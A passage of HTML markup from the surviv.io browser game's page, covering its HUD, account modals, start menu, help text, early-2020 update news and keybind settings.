data-l10n='game-spectating'>Spectating</div> <div id='spectate-player' class='spectate-text'></div> </div> </div> <div id='ui-upper-center' class='click-through'> <div id='ui-announcement'></div> </div> <div id='ui-upper-center-1' class='click-through'> <div id='ui-pickup-notification'> <div id='ui-pickup-description'>Item picked up</div> </div> </div> <div id='ui-lower-center' class='js-ui-map-hidden js-ui-hud-show click-through'> <div id='ui-interaction'> <div id='ui-interaction-press'></div> <div id='ui-interaction-outer'> <div id='ui-interaction-description'></div> </div> </div> </div> <div id='ui-bottom-center-2' class='click-through'> <div id='ui-pickup-message' class='notify-message'></div> <div id='ui-perk-message-wrapper' class='notify-message'> <div id='ui-perk-message-image-wrapper'> <div id='ui-perk-message-image-icon'></div> </div> <div id='ui-perk-message-name' class='notify-message'></div> <div id='ui-perk-message-acquired' class='notify-message'></div> </div> </div> <div id='ui-equipped-ammo-wrapper' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-equipped-ammo'> <div id='ui-bullet-counter'> <div id='ui-current-clip'>0</div> <div id='ui-remaining-ammo'>0</div> <div id='ui-reload-button-container'> <div id='ui-reload-button'></div> </div> </div> </div> </div> <div id='ui-bottom-center-0' class='click-through js-ui-map-hidden js-ui-hud-show'> <div id='ui-boost-counter'> <div class='ui-boost-base' id='ui-boost-counter-0'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-1'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-2'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-3'> <div class='ui-bar-inner'></div> </div> </div> <div id='ui-health-counter'> <div id='ui-health-flair-left' class='ui-health-flair'></div> <div id='ui-health-flair-right' class='ui-health-flair'></div> <div id='ui-health-container'> <div class='ui-bar-inner' id='ui-health-actual'></div> <div class='ui-bar-inner' id='ui-health-depleted'></div> </div> </div> </div> <div id='ui-bottom-center-left' class='js-ui-map-hidden'> <div id='ui-perk-0' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-perk-1' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-perk-2' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> </div> <div id='ui-bottom-center-right' class='js-ui-map-hidden'> <div id='ui-armor-helmet' class='ui-armor-counter ui-outline-hover'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-armor-chest' class='ui-armor-counter ui-outline-hover'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-armor-backpack' class='ui-armor-counter'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> </div> <div id='ui-bottom-right' class='js-ui-map-hidden'> <div id='ui-weapon-container'> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-1' data-slot='1'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>1</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-2' data-slot='2'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>2</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-3'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>3</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-4'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>4</div> <div class='ui-weapon-exp ui-weapon-ammo-counter'>0</div> <img class='ui-weapon-image' src=''></img> </div> </div> </div> </div> <div id='ui-spectate-options-wrapper'> <div id='ui-spectate-options' class='ui-spectate-mode js-ui-hud-show click-through'> <div id='ui-spectate-buttons' class='ui-bg-standard'> <a class='menu-option btn-darken' id='btn-spectate-next-player' data-l10n='game-next-teammate'>Next Teammate</a> <a class='menu-option btn-darken' id='btn-spectate-prev-player' data-l10n='game-previous-teammate'>Previous Teammate</a> <a class='menu-option btn-darken' id='btn-spectate-view-stats' data-l10n='game-view-match-stats'>View Match Stats</a> <a class='menu-option btn-darken btn-quit' id='btn-spectate-quit' data-l10n='game-leave-game'>Leave Game</a> </div> <div id='ui-spectate-stats' class='ui-bg-standard'> <div id='ui-spectate-stats-header' data-l10n='game-your-results'>Your Results</div> <table id='ui-spectate-stats-table'> <tbody id='ui-spectate-stats-data'> </tbody> </table> </div> </div> </div> <div id='ui-bottom-center-1' class='click-through'> <div id='ui-kills'> <div id='ui-kill-text'></div> <div id='ui-kill-count'></div> </div> </div> </div> <div id='ui-stats'> <div id='ui-stats-bg'></div> <div id='ui-stats-contents'> <div id='ui-stats-contents-inner'> <div id='ui-stats-header'></div> <div id='ui-stats-info-box'></div> <div id='ui-stats-options'></div> <div id='ui-stats-logo'></div> </div> <div id='ui-stats-ad-container-desktop' class='ui-stats-ad-container'> <div id='surviv-io_300x250_2'></div> </div> <div id='ui-stats-ad-container-mobile' class='ui-stats-ad-container'> <div id='surviv-io_300x250_mobile_2'></div> </div> </div> </div> <div class='ui-stats-adblock surviv-shirts'> <a class='surviv-shirts-link' href='/~/https://www.amazon.com/s?rh=n%3A7141123011%2Cp_4%3Asurviv.io&ref=w_bl_sl_s_ap_web_7141123011' target="_blank"></a> </div> <div class='ui-stats-adblock adblock-plea'> <span>Please consider supporting us by disabling your adblocker.</span> </div> </div> <div id='start-menu-wrapper'> <div id='safari-margin'></div> <div id='background'> <div id='start-overlay'></div> </div> <div id='event-modal'> <div id='modal-container'> <p id='modal-header' data-l10n='index-modal-test'>(HEADER TEXT)</p> <img id='modal-img-1'> <div id='modal-content'> <img id='modal-img-2'> <p id='modal-text' data-l10n='event-desc'>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Tincidunt dui ut ornare lectus sit amet est.</p> </div> <button class='close' id='modal-btn' data-l10n='modal-btn-txt' type='button'>(BUTTON TEXT)</button> </div> </div> <div id='start-main'> <div id='start-top-left'> <div id='btn-hamburger' class='icon-hamburger'></div> <div id='start-top-left-desktop'> <div id='featured-streamers'> <div class='streaming-header'> <div id='streaming-header-title' data-l10n='index-streaming-live'>Streaming Live!</div> <div id='streaming-icon'></div> </div> <div class='streamer-list'></div> <div id='featured-streamer-template'> <a href='' target='_blank' class='btn-streamer btn-darken'></a> </div> </div> <div id='featured-youtuber'> <div class='youtube-header'> <div id='youtube-header-title' data-l10n='index-featured-youtuber'>Featured YouTuber</div> </div> <a href='' target='_blank' class='btn-youtuber btn-darken'></a> </div> </div> </div> <!-- Accounts Modals --> <div id='modal-account-name-change' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-name'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-create-account'>Create Account</h2> </div> <div class='modal-body modal-body-name'> <div class='modal-settings-item'> <p id='modal-account-name-desc' class='modal-body-text' data-l10n='index-set-account-name'>Set your account name:</p> <div id='modal-body-warning'></div> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='Enter name' id='modal-account-name-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-name modal-footer-round'> <h3 id='modal-account-name-finish' class='finish' data-l10n='index-finish'>Finish</h3> </div> </div> </div> <div id='modal-account-reset-stats' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-reset-stats'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-reset-stats'>Reset Stats</h2> </div> <div class='modal-body modal-body-reset-stats'> <div class='modal-settings-item'> <p id='modal-account-reset-stats-desc' class='modal-body-text' data-l10n='index-reset-stats-desc'>Enter "RESET STATS" to reset your stats:</p> <p id='modal-account-reset-stats-desc-2' class='modal-body-text' data-l10n='index-reset-stats-desc-2'>(This does not reset pass progress.)</p> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='' id='modal-account-reset-stats-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-reset-stats modal-footer-round'> <h3 id='modal-account-reset-stats-finish' class='finish' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> <div id='modal-account-delete' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-delete'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-delete-account'>Delete Account</h2> </div> <div class='modal-body modal-body-delete'> <div class='modal-settings-item'> <p id='modal-account-delete-desc' class='modal-body-text' data-l10n='index-delete-account-desc'>Enter "DELETE" to delete your account:</p> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='' id='modal-account-delete-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-delete modal-footer-round'> <h3 id='modal-account-delete-finish' class='finish' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> <!-- Accounts Mobile --> <div id='modal-mobile-account' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2 data-l10n='index-account' data-l10n='index-account'>Account</h2> </div> <div id='modal-mobile-account-body'> <div class='account-buttons-settings account-buttons-wrapper account-block-arrow modal-close'> <div class='account-buttons'> <div class='account-stats-link btn-player-stats-link menu-option btn-darken btn-standard ' data-l10n='index-my-stats'>My Stats</div> <div class='btn-account-link btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-link-account'>Link Account</div> <div class='btn-account-change-name btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-change-account-name'>Change Account Name</div> <div class='btn-account-reset-stats btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-reset-stats'>Reset Stats</div> <div class='btn-account-delete btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-delete-account'>Delete Account</div> <div class='btn-account-logout btn-account-grey menu-option btn-darken btn-standard' data-l10n='index-log-out'>Log Out</div> </div> </div> <div id='account-login-options-mobile' class='account-buttons-link-account account-buttons-wrapper account-block-arrow modal-close'> <div class='login-options-content'></div> </div> </div> </div> </div> <!-- Accounts --> <div id='start-top-right'> <div class='account-block'> <div class='account-details-top'> <div class="account-details-top-buttons"> <div class="account-details-button-wrapper account-details-button-loadout menu-option btn-darken-alt"> <div class='account-details-button'> <div id='loadout-alert-main' class='account-alert-main account-alert'></div> <div class='account-link account-loadout-link'> <span data-l10n='index-loadout'>Loadout</span> </div> </div> </div> <div class="account-details-button-wrapper account-details-link-out menu-option btn-darken hide-on-mobile"> <div class='account-details-button'> <div class='account-link account-stats-link'><span data-l10n='index-my-stats'>My Stats</span></div> </div> </div> <div class="account-details-button-wrapper account-details-link-out menu-option btn-darken hide-on-mobile"> <div class='account-details-button'> <div class='account-link account-leaderboard-link'><span data-l10n='index-leaderboards'>Leaderboards</span></div> </div> </div> </div> </div> <div class='account-overview'> <div class="account-details-user account-details-block"> <div class="account-details"> <div class="account-avatar"></div> <div id="account-login" class="account-player-name account-name account-name-user" data-l10n='index-log-in-desc'>Log In / Create Account</div> <div id="account-player-name" class="account-player-name account-name account-name-user" style="display:none"></div> <div class="account-loading-container"> <div class="account-loading"></div> </div> </div> </div> </div> <div class='account-buttons-settings account-buttons-wrapper account-block-arrow modal-close hide-on-mobile'> <div class='account-buttons'> <div class='btn-account-link btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-link-account'>Link Account</div> <div class='btn-account-change-name btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-change-account-name'>Change Account Name</div> <div class='btn-account-reset-stats btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-reset-stats'>Reset Stats</div> <div class='btn-account-delete btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-delete-account'>Delete Account</div> <div class='btn-account-logout btn-account-grey menu-option btn-darken btn-standard' data-l10n='index-log-out'>Log Out</div> </div> </div> <div id='account-login-options' class='account-buttons-link-account account-buttons-wrapper account-block-arrow modal-close hide-on-mobile'> <div class='login-options-content'></div> </div> </div> </div> <div id='start-main-center'> <div id='start-row-header'> <div id='server-warning'></div> </div> <div id='start-row-top'> <div id='start-rotate-reminder' class='menu-column menu-block'> <span>Rotate to landscape for a better experience.</span> </div> <div id='left-column' class='menu-column'> <div id='ad-block-left'> <div class='surviv-shirts'> <a href='/~/https://www.amazon.com/s?rh=n%3A7141123011%2Cp_4%3Asurviv.io&ref=w_bl_sl_s_ap_web_7141123011' target="_blank"></a> </div> <div class='adblock-plea'> <span>Please consider supporting us by disabling your adblocker.</span> </div> <div class='ad-block-med-rect' id='surviv-io_300x250'> </div> </div> <div id='social-share-block-wrapper'> <div id='social-share-block' class='menu-block'> <div class='btn-social-wrapper'> <a href='/~/https://facebook.com/surviviogame' target='_blank' class='btn-social btn-darken btn-facebook'></a> <a href='/~/https://twitter.com/survivio' target='_blank' class='btn-social btn-darken btn-twitter'></a> <a href='/~/https://www.instagram.com/surviviogame/' target='_blank' class='btn-social btn-darken btn-instagram'></a> <a href='/~/https://discord.gg/survivio' target='_blank' class='btn-social btn-darken btn-discord'></a> <a href='/~/https://www.youtube.com/c/survivio?sub_confirmation=1' target='_blank' class='btn-social btn-darken btn-youtube'></a> </div> </div> </div> </div> <div id='start-menu' class='menu-column menu-block'> <div class='play-loading-outer'> <div class='play-loading-inner'> <div class='play-loading-spinner'></div> </div> </div> <div class='play-button-container'> <div id='player-options'> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='Enter your name here' id='player-name-input-solo' maxlength='16' /> <a class='btn-darken menu-option player-options-btn' id='btn-customize'></a> </div> <select id='server-select-main' class='server-select menu-option btn-hollow btn-hollow-selected'> <optgroup id='server-opts' label='Region' data-l10n='index-region'> <option value='na' data-label='North America' data-l10n='index-north-america'>North America</option> <option value='sa' data-label='South America' data-l10n='index-south-america'>South America</option> <option value='eu' data-label='Europe' data-l10n='index-europe'>Europe</option> <option value='as' data-label='Asia' data-l10n='index-asia'>Asia</option> <option value='kr' data-label='Korea' data-l10n='index-korea'>South Korea</option> </optgroup> </select> <a class='btn-green btn-darken menu-option' id='btn-start-mode-0' data-l10n='index-play-solo'>Play Solo</a> <div id='btns-quick-start'> <a class='btn-green btn-darken menu-option' id='btn-start-mode-1' data-l10n='index-play-duo'>Play Duo</a> <a class='btn-green btn-darken menu-option' id='btn-start-mode-2' data-l10n='index-play-squad'>Play Squad</a> </div> <div class='btns-double-row'> <a class='btn-darken menu-option btn-team-option' id='btn-join-team' data-l10n='index-join-team'>Join Team</a> <a class='btn-darken menu-option btn-team-option' id='btn-create-team' data-l10n='index-create-team'>Create Team</a> </div> <div id='btn-help' class='menu-option btn-darken' data-l10n='index-how-to-play'>How to Play</div> <div id='start-help'> <h1 data-l10n='index-controls'>Controls</h1> <p><span class='help-action' data-l10n='index-movement'></span>: <span class='help-control' data-l10n='index-movement-ctrl'></span></p> <p><span class='help-action' data-l10n='index-aim'></span>: <span class='help-control' data-l10n='index-aim-ctrl'></span></p> <p><span class='help-action' data-l10n='index-punch'></span>/<span class='help-action' data-l10n='index-shoot'></span>: <span class='help-control' data-l10n='index-shoot-ctrl'></span></p> <p><span class='help-action' data-l10n='index-change-weapons'></span>: <span class='help-control' data-l10n='index-change-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-stow-weapons'></span>: <span class='help-control' data-l10n='index-stow-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-swap-weapons'></span>: <span class='help-control' data-l10n='index-swap-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-swap-weapon-slots'></span>: <span class='help-control' data-l10n='index-swap-weapon-slots-ctrl'></span></p> <p><span class='help-action' data-l10n='index-reload'></span>: <span class='help-control' data-l10n='index-reload-ctrl'></span></p> <p><span class='help-action' data-l10n='index-scope-zoom'></span>: <span class='help-control' data-l10n='index-scope-zoom-ctrl'></span></p> <p><span class='help-action' data-l10n='index-pickup'></span>/<span class='help-action' data-l10n='index-loot'></span>/<span class='help-action' data-l10n='index-revive'></span>: <span class='help-control' data-l10n='index-pickup-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-medical'></span>: <span class='help-control' data-l10n='index-use-medical-ctrl'></span></p> <p><span class='help-action' data-l10n='index-drop-item'></span>: <span class='help-control' data-l10n='index-drop-item-ctrl'></span></p> <p><span class='help-action' data-l10n='index-cancel-action'></span>: <span class='help-control' data-l10n='index-cancel-action-ctrl'></span></p> <p><span class='help-action' data-l10n='index-view-map'></span>: <span class='help-control' data-l10n='index-view-map-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-toggle-minimap'></span>: <span class='help-control' data-l10n='index-toggle-minimap-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-ping'></span>: <span class='help-control' data-l10n='index-use-ping-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-emote'></span>: <span class='help-control' data-l10n='index-use-emote-ctrl'></span></p> <h1 data-l10n='index-how-to-play'>How to Play</h1> <p data-l10n='index-tips-1-desc'>The goal of surviv.io is to be the last player standing. You only live once per game - there is no respawn!</p> <h1 data-l10n='index-tips-2'>2D PUBG</h1> <p data-l10n='index-tips-2-desc'>If you've played other battle royale games like PUBG, Fortnite or H1Z1, then you're already halfway there! Think of surviv.io as 2D PUBG (with slightly less desync and more chicken).</p> <h1 data-l10n='index-tips-3'>Loot and Kill</h1> <p data-l10n='index-tips-3-desc'>You'll begin the game with no items other than a simple backpack. Move around the map to find loot: weapons, ammo, scopes, and medical items. Eliminate other players and you can take their loot!</p> <h1 data-l10n='index-tips-4'>Red = Bad!</h1> <p data-l10n='index-tips-4-desc'>Players aren't the only thing that can hurt you. The deadly red zone will move in from the sides of the map and deal increasingly greater damage if you stand in it. Keep an eye on the map and stay safe.</p> </div> </div> </div> <div id='team-menu' class='menu-column menu-block'> <div class='play-loading-outer'> <div class='play-loading-inner'> <div class='play-loading-spinner'></div> </div> </div> <div class='play-button-container'> <a class='btn-darken menu-option' id='btn-team-leave' data-l10n='index-leave-team'>Leave Team</a> <div id='team-menu-connecting'> <div class='ui-spinner'></div> <div class='team-menu-connecting-text' id='team-menu-joining-text'><span data-l10n='index-joining-team'>Joining team</span> ...</div> <div class='team-menu-connecting-text' id='team-menu-creating-text'><span data-l10n='index-creating-team'>Creating team</span> ...</div> </div> <div id='team-menu-contents'> <div id='team-desc'> <div id='team-desc-text'><span id='invite-link-text' data-l10n='index-invite-link'>Invite link</span>: <span id='team-url'></span> </div> <a id='team-copy-url' class='copy-item btn-darken'></a> <a id='team-hide-url' class='hide-item btn-darken'></a> <div id='team-code-text'><span id='invite-code-text' data-l10n='index-invite-code'>Invite code</span>: <span id='team-code'></span></div> </div> <div id='team-menu-columns'> <div id='team-menu-members' class='team-menu-block'> <div id='team-menu-member-list'></div> </div> <div id='team-menu-options' class='team-menu-block'> <select id='team-server-select' class='btn-hollow btn-hollow-selected server-select menu-option'> <optgroup id='team-server-opts' label='Region'> <option value='na' data-label='North America' data-l10n='index-north-america'>North America</option> <option value='sa' data-label='South America' data-l10n='index-south-america'>South America</option> <option value='eu' data-label='Europe' data-l10n='index-europe'>Europe</option> <option value='as' data-label='Asia' data-l10n='index-asia'>Asia</option> <option value='kr' data-label='Korea' data-l10n='index-korea'>South Korea</option> </optgroup> </select> <div class='team-menu-options-buttons'> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-queue' id='btn-team-queue-mode-1' data-l10n='index-duo'>Duo</a> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-queue' id='btn-team-queue-mode-2' data-l10n='index-squad'>Squad</a> </div> <div class='team-menu-options-buttons'> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-fill' id='btn-team-fill-auto' data-l10n='index-auto-fill'>Auto Fill</a> <a class='btn-hollow btn-darken team-menu-option btn-team-fill' id='btn-team-fill-none' data-l10n='index-no-fill'>No Fill</a> </div> <div id='team-menu-options-start'> <a class='btn-green btn-darken menu-option' id='btn-start-team' data-label='Play' data-l10n='index-play'>Play</a> <div id='msg-wait-reason'></div> </div> </div> </div> </div> </div> </div> <div id='team-mobile-link' class='menu-column menu-block'> <div id='team-mobile-link-desc' class='team-mobile-link-text' data-l10n='index-join-team-help'>Got a team link or code? Paste it here:</div> <div id='team-mobile-link-warning' class='team-mobile-link-text'>Invalid link!</div> <input type='text' class='menu-option' contenteditable="false" tabindex='0' autofocus placeholder='Paste team link or enter code here' id='team-link-input' /> <a class='btn-darken menu-option btn-team-option' id='btn-team-mobile-link-join' data-l10n='index-join-team'>Join Team</a> <a class='btn-darken menu-option' id='btn-team-mobile-link-leave' data-l10n='index-back-to-main'>Back to Main Menu</a> </div> <div id='right-column' class='menu-column'> <div id='pass-wrapper'> <div id='pass-unlock-tooltip'> <div class='tooltip-pass-title'></div> <div class='tooltip-pass-desc'></div> </div> <div class='right-column-toggle news-toggle'> <div class='account-alert'></div> </div> <div id='pass-loading' class='pass-column menu-block'> <div id='pass-loading-spinner'></div> </div> <div id='pass-block' class='pass-column menu-block'> <div id='pass-name'> <span id='pass-name-text'></span> </div> <div id='pass-progress' class=''> <div id='pass-progress-level' class=''></div> <div id='pass-progress-bar' class=''> <div id='pass-progress-bar-fill'></div> <div id='pass-progress-xp'> <span id='pass-progress-xp-current'></span> <span>/</span> <span id='pass-progress-xp-target'></span> <span>XP</span> </div> </div> <div id='pass-progress-unlock-wrapper'> <div id='pass-progress-unlock' class=''> <div id='pass-progress-unlock-image' class=''></div> </div> <div id='pass-progress-unlock-type-wrapper' class=''> <div id='pass-progress-unlock-type-border' class=''> <div id='pass-progress-unlock-type-image' class=''></div> </div> <div id='pass-progress-unlock-overlay' class=''></div> </div> </div> </div> <div id='pass-quest-wrapper' class=''> <div id='pass-locked'> <div id='btn-pass-locked' class='menu-option btn-darken' data-l10n='quest-login-prompt'>Log in to get quests!</div> </div> <div id='pass-quest-0' class='pass-quest'> <div class='pass-quest-timer'></div> <div class='pass-quest-spinner-container'> <div class='pass-quest-spinner'></div> </div> <div class='pass-quest-refresh-prompt'> <div class='pass-quest-refresh-prompt-text' data-l10n='quest-refresh-prompt'>Get a new quest?</div> <div class='pass-quest-refresh-confirm btn-pass-quest-refresh'></div> <div class='pass-quest-refresh-cancel btn-pass-quest-refresh'></div> </div> <div class='pass-quest-info'> <div class='pass-quest-desc'></div> <div class='pass-quest-xp'></div> <div class='pass-quest-refresh'></div> <div class='pass-quest-progress'> <div class='pass-quest-bar'> <div class='pass-quest-bar-fill'></div> </div> <div class='pass-quest-counter'> <span class='pass-quest-counter-current'></span> <span>/</span> <span class='pass-quest-counter-target'></span> </div> </div> </div> </div> <div id='pass-quest-1' class='pass-quest'> <div class='pass-quest-timer'></div> <div class='pass-quest-spinner-container'> <div class='pass-quest-spinner'></div> </div> <div class='pass-quest-refresh-prompt'> <div class='pass-quest-refresh-prompt-text' data-l10n='quest-refresh-prompt'>Get a new quest?</div> <div class='pass-quest-refresh-confirm btn-pass-quest-refresh'></div> <div class='pass-quest-refresh-cancel btn-pass-quest-refresh'></div> </div> <div class='pass-quest-info'> <div class='pass-quest-desc'></div> <div class='pass-quest-xp'></div> <div class='pass-quest-refresh'></div> <div class='pass-quest-progress'> <div class='pass-quest-bar'> <div class='pass-quest-bar-fill'></div> </div> <div class='pass-quest-counter'> <span class='pass-quest-counter-current'></span> <span>/</span> <span class='pass-quest-counter-target'></span> </div> </div> </div> </div> </div> </div> </div> <div id='news-wrapper'> <div class='right-column-toggle pass-toggle'></div> <div id='news-block' class='menu-block'> <div id='news'> <h3 class='news-header'>What's New!</h3> <div id='news-current' data-date='2020-2-24'> <small class='news-date'>February 24, 2020</small> <p class='news-paragraph'><strong>Curveball</strong></p> <p class='news-paragraph'>The <span class='highlight'>Savannah</span> has returned with a new perk to help flush snipers out of position.</p> <p class='news-paragraph'>The <span class='highlight'>Closer Perk</span> throws grenades much farther, allowing you to put Snipers on the move.</p> </div> <div data-date='2020-2-10'> <small class='news-date'>February 10, 2020</small> <p class='news-paragraph'><strong>Keep Your Enemies Closer</strong></p> <p class='news-paragraph'>PARMA recognizes this season of togetherness and generously offers to help rivals resolve their differences. The all new <span class='highlight'>Heart Cannon</span> diffuses damage taken from your frenemies. For groups of future friends, the same effect is achieved with the all-new <span class='highlight'>Heart Grenade</span>.</p> <p class='news-paragraph'>If you do not trust the intentions of your new friends, eat an entire <span class='highlight'>box of chocolates</span> to counter the effect of <span class='highlight'>Heart Weapons</span>.</p> </div> <div data-date='2020-1-27'> <small class='news-date'>January 27, 2020</small> <p class='news-paragraph'><strong>Dodge This</strong></p> <p class='news-paragraph'><span class='highlight'>Woods</span> Mode is back with two new weapons and things are bound to get explosive. The <span class='highlight'>PKM</span> and <span class='highlight'>Hawk 12G</span> join the Woods Map arsenal, along with increased grenade capacity.</p> <p class='news-paragraph'>The <span class='highlight'>PKM</span> packs a punch while balancing mobility and range. Based on the M870 with an added magazine, the <span class='highlight'>Hawk 12G</span>'s ammo capacity of 5 is the same as its parent weapon, the fire delay is faster and fires a tighter spread. </p> </div> <div data-date='2020-1-13'> <small class='news-date'>January 13, 2020</small> <p class='news-paragraph'><strong>Stay frosty</strong></p> <p class='news-paragraph'>Winter has arrived on the Island with new features and is more dangerous than ever, including PARMA's latest item, the <span class='highlight'>Flask</span>.</p> <p class='news-paragraph'>Track your enemy's footprints and use the <span class='highlight'>Snow Fox</span> perk to cover up your footprints. Be sure to keep moving or take freezing damage. Flasks and the <span class='highlight'>Polar Bear</span> perk keep you from freezing. And watch out for ice. It's slippery.</p> </div> <div data-date='2019-12-30'> <small class='news-date'>December 30, 2019</small> <p class='news-paragraph'><strong>Free Fryer</strong></p> <p class='news-paragraph'>PARMA's FSTMS division is pleased to introduce the next generation in starch-based modern warfare: the <span class='highlight'>spud gun</span>.</p> <p class='news-paragraph'>Officially designated the SMG-8 (Spud Missile Generator), the spud gun uses a proprietary breech-to-muzzle heat expander to fry and propel wedge-shaped projectiles at tremendous speeds. Like its cousin, the potato cannon, the spud gun also features nitroglycerin-spiked ammunition and a nifty tuber replication device!</p> </div> </div> </div> </div> </div> </div> <div class='ad-block-leaderboard-bottom' id='surviv-io_728x90'></div> </div> <div id='start-bottom-left'> <div class='hide-on-mobile'> <a href='/~/https://play.google.com/store/apps/details?id=io.surviv.surviv_io_mobile' target='_blank' class='btn-download-android btn-download-app btn-darken'></a> </div> <div class='hide-on-mobile'> <a href='/~/https://itunes.apple.com/us/app/surviv-io/id1401727934?ls=1&mt=8' target='_blank' class='btn-download-ios btn-download-app btn-darken'></a> </div> <div id='mobile-settings-front'> <div class='btn-settings menu-option btn-darken btn-start-option'></div> </div> </div> <div id="start-bottom-middle"> <a href='changelog.html' target="_blank" class="footer-after">ver 0.9.1b</a> <a href='proxy.txt' target="_blank" data-l10n='index-proxy-sites'>proxy sites</a> </div> <div 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<div class='ui-modal-keybind-content modal-content modal-close'> <div id='ui-modal-keybind-header' class='modal-header'> <span id='ui-close-keybind' class='close close-corner'></span> <h2 data-l10n='index-customize-keybinds'>Customize Keybinds</h2> </div> <div id='ui-modal-keybind-body' class='modal-body'> <div id='ui-modal-keybind-list' class='js-keybind-list'></div> <div id='ui-modal-keybind-share'> <div class='ui-modal-keybind-share-row'> <div class='ui-modal-keybind-share-elem'> <span data-l10n='index-keybind-link'>Share your keybinds with this code</span>: </div> <div class='ui-modal-keybind-share-elem'> <div id='keybind-link-text'> <div id='keybind-link'>aFvc42SfhpoFlrJKVkA1fx+5afasdf9034hfSF09nASqqF</div> <span id='keybind-copy' class='copy-item btn-darken'></span> </div> </div> </div> <span class='keybind-share-paste-text' data-l10n='index-keybind-paste'>Load keybinds using a code here</span><span>:</span> <div id='keybind-warning' class='link-warning'>Invalid code!</div> <div class='ui-modal-keybind-share-row'> <input type='text' class='menu-option' contenteditable="false" tabindex='0' autofocus placeholder='Paste a keybind code here' id='keybind-code-input' /> <a class='btn-game-menu btn-darken' id='btn-keybind-code-load' data-l10n='index-keybind-apply'>Load</a> </div> </div> </div> <div id='ui-modal-keybind-footer' class='modal-footer modal-footer-round'> <a class='js-btn-keybind-share btn-game-menu btn-darken' data-l10n='game-share'>Share</a> <a class='js-btn-keybind-restore btn-game-menu btn-darken' data-l10n='game-restore-defaults'>Restore Defaults</a> </div> </div> </div> <!-- Loadouts --> <div id='modal-customize' class='modal'> <div class='ad-block-loadouts-left hide-on-mobile' id='surviv-io_300x600'></div> <div id='modal-customize-wrapper' class='modal-close'> <div id='modal-content-left' class='modal-content-shadow'> <div id='modal-customize-cat-title'></div> <div id="modal-customize-sort-wrap"> <select id='modal-customize-sort'> <option id='customize-sort-newest' value='newest' data-l10n='loadout-newest'>Newest</option> <option id='customize-sort-alpha' value='alpha' data-l10n='loadout-alpha'>Alpha</option> <option id='customize-sort-rarity' value='rarity' data-l10n='loadout-rarity'>Rarity</option> <option id='customize-sort-subcat' value='subcat' data-l10n='loadout-subcat'>Category</option> </select> </div> <div id='modal-customize-close'> <span class='close close-corner'></span> </div> <div id='modal-customize-header' class='modal-header'></div> <div class='modal-disabled'> <div class='modal-disabled-message'>The Edge browser does not support custom cursors.</div> </div> <div id='modal-customize-body' class='modal-body'> <div 